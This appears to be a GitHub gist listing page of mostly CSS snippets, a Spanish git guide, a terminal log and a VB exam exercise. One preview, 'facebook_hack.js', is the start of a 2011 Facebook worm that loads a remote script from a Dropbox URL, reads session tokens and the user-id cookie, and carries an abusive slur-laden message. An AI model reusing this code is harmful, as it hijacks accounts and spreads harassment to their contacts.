Skip to content

Instantly share code, notes, and snippets.

View YamilG's full-sized avatar

Yamil Gonzales YamilG

View GitHub Profile
@YamilG
YamilG / CSS Helvetica + Ampersand Class
Created September 18, 2010 18:14
Helvetica + Ampersand Class
body {
font-family: 'Helvetica Neue', 'HelveticaNeue', Helvetica, Arial, sans-serif;
-webkit-font-smoothing: antialiased;
}
.ampersand {
font-family: 'Baskerville', 'Palatino', 'Hoefler Text', serif;
font-size: 1.2em;
font-style: italic;
}

Para colaborar en un repositorio mediante el modelo fork+pull (se presupone que ya tenés instalado git )

  1. Hacer fork en github.com
  2. Te vas a tu fork
  3. En tu compu, ejecutás git clone git@github.com:YamilG/lfborjas.github.com.git
  4. Te creará una carpeta llamada lfborjas.github.com, hacés cd a ella y comenzás a hacer tus cambios
  5. Cuando querás ver qué has cambiado, hacés git status y para cambios específicos, git diff
  6. Cuando estés listo para hacer un snapshot de tus cambios, agregarlos al historial git, hacés un git commit -am "mensaje descriptivo", el switch -am es un atajo para agregar todos los archivos que git ya conocía; si agregás otros archivos, tendrás que hacer git add archivo.ext otroArchivo.ext antes de hacer un commit.
  7. Cuando terminés de hacer commits y estés listo para que integremos cambios, hacés un git push origin master y luego me mandás una [pull request](http://help.github.com/pull-reque
@YamilG
YamilG / webkit scrollbars
Created December 21, 2010 16:06
old scrollbar mod -revival in WebKit
/* http://almaer.com/scrollbar/ */
::-webkit-scrollbar {
width: 10px;
height: 10px;
}
::-webkit-scrollbar-button:start:decrement,
::-webkit-scrollbar-button:end:increment {
display: block;
height: 0px;
}
@YamilG
YamilG / gradient
Created March 20, 2011 19:08
gradient support for webkit, mozilla and ie (YES IE!)
background-image: -moz-linear-gradient(top, white, #cff2ff);
/* FF3.6 */
background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0, white), color-stop(1, #cff2ff));
/* Saf4+, Chrome */
filter: progid:DXImageTransform.Microsoft.gradient(startColorStr='#ffffff', EndColorStr='#cff2ff');
/* IE6–IE9 */ }
@YamilG
YamilG / gradient bg
Created March 28, 2011 06:14
bg gradient twitter-like
background: white;
background: white -moz-linear-gradient(-90deg,#DBEDFF 0,white 100px);
background: white -webkit-gradient(linear,0 0,0 100,from(#DBEDFF),to(white));
background-size: 100% 100px;
background-repeat: repeat-x;
@YamilG
YamilG / blipea redux
Created March 30, 2011 09:51
alternative blipea style
p.bliptext {
font-family: "helvetica neue";
font-size: 14px;
line-height: 1.5em;
color: #333;
width: 510px;
}
#sidebar {
display: none;
[rails_projects]$ mkdir demo2
[rails_projects]$ cd demo2
[demo2]$ git init
Initialized empty Git repository in /Users/yamilgonzales/Dropbox/rails_projects/demo2/.git/
[demo2]$ touch readme
[demo2]$ mate readme
[demo2]$ mv readme readme.txt
[demo2]$ git add .
[demo2]$ git commit -m "first commit"
[master (root-commit) ffb768a] first commit
@YamilG
YamilG / facebook_hack.js
Created May 12, 2011 15:27 — forked from tysonmote/facebook_hack.js
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Cross-browser kerning-pairs & ligatures</title>
<style>
body { font-family: sans-serif; background: #f4f3f3; color: rgba(40, 30, 0, 1); width: 500px; margin: 80px auto; padding: 0px; }
a { color: rgba(15, 10, 0, 0.8); text-decoration: none; border-bottom: 1px solid; padding: 1px 1px 0px; -webkit-transition: background 1s ease; }
a:hover { background: rgba(0, 220, 220, 0.2); }
p, li { line-height: 1.5; padding: 0em 1em 0em 0em; margin: 0em 0em 0.5em; }
@YamilG
YamilG / gist:1731797
Created February 3, 2012 19:06
Examen ejercicio 1
Public Class Form1
Dim tarifaA As Integer = 400
Dim tarifaB As Integer = 430
Dim tarifaC As Integer = 450
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
tarifa.Items.Add("Tarifa A")
tarifa.Items.Add("Tarifa B")
tarifa.Items.Add("Tarifa C")